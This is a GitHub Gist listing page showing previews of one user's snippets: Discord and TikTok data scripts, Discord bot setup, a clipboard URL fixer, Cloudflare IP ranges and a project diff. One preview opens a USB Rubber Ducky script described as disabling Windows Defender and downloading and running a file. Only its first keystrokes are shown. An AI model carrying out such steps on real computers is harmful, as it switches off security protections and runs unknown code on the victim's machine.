Skip to content

Instantly share code, notes, and snippets.

@judge2020
judge2020 / plot_discord_predictions.py
Created May 18, 2024 04:05 — forked from rebane2001/plot_discord_predictions.py
Simple script to plot your Discord machine-learning predicted age and gender from the data dump.
import glob
import json
from datetime import datetime
from matplotlib import pyplot
age_ts = []
age_keys = ["prob_13_17", "prob_18_24", "prob_25_34", "prob_35_over"]
age_lists = {k:[] for k in age_keys}
gen_ts = []
@judge2020
judge2020 / README.md
Last active April 16, 2024 14:39
Download TikTok Favorites

Setup

  1. Sign into https://tiktok.com and go to your profile
  2. Click favorites or likes
  3. scroll down till all your videos load
  4. paste the script in console and run it
  5. Script will download the file containing newline-delimited links
  6. download via yt-dlp like so:
@judge2020
judge2020 / README.md
Last active April 4, 2024 08:49
Initialize Discord bot in Python 3
  1. python3 -m pip install discord.py
  2. copy the script into a file (e.g. initialize.py)
  3. run python3 initialize.py
  4. quit once you see "We have logged in as <user#1234>"
@judge2020
judge2020 / fixit.py
Last active December 9, 2023 05:45
Replace x.com/twitter.com with vxtwitter.com in clipboard
# python -m pip install pyperclip
# credit gpt4
import pyperclip
import time
from urllib.parse import urlparse, urlunparse
# Function to check if the content in the clipboard is a URL
def is_url(content):
try:
result = urlparse(content)
@judge2020
judge2020 / readme.md
Last active December 5, 2023 15:59
Fix MacOS Universal Control not working
@judge2020
judge2020 / duckyscript.txt
Created March 31, 2017 22:52
Ducky: turnoff windows defender, download and execute a file
REM Windows 10: Disable Windows Defender with Powershell
REM Author: Judge2020
REM author website: Judge2020.com
REM video: https://youtu.be/XQyB_bKjbgU
REM
REM let the HID enumerate
DELAY 2000
GUI r
DELAY 300
REM my best attempt at a elevated powershell instance
@judge2020
judge2020 / cloudflare-ips-v4.txt
Last active September 26, 2023 19:56
Cloudflare comma-separated IPs
103.21.244.0/22,103.22.200.0/22,103.31.4.0/22,104.16.0.0/12,108.162.192.0/18,131.0.72.0/22,141.101.64.0/18,162.158.0.0/15,172.64.0.0/13,173.245.48.0/20,188.114.96.0/20,190.93.240.0/20,197.234.240.0/22,198.41.128.0/17
@judge2020
judge2020 / stopabusegithubstar-eng.diff
Created July 30, 2019 04:35
Stop abuse GitHub Star
-Most of the issues in this issue are Korean, so it would be right to reply in Korean.
-I am the owner of this project, and I am
-very grateful for your concern about our developers.
-However, I implicitly agreed to this promotion, which you thought badly and ridiculed, and
-even shared a link to my Facebook feed. I used to threaten my friends to press it once (?).
-Of course, I did not know that so many people would give me a star through this promotion.
-I thought this sudden rise would be like embarrassment and cheating.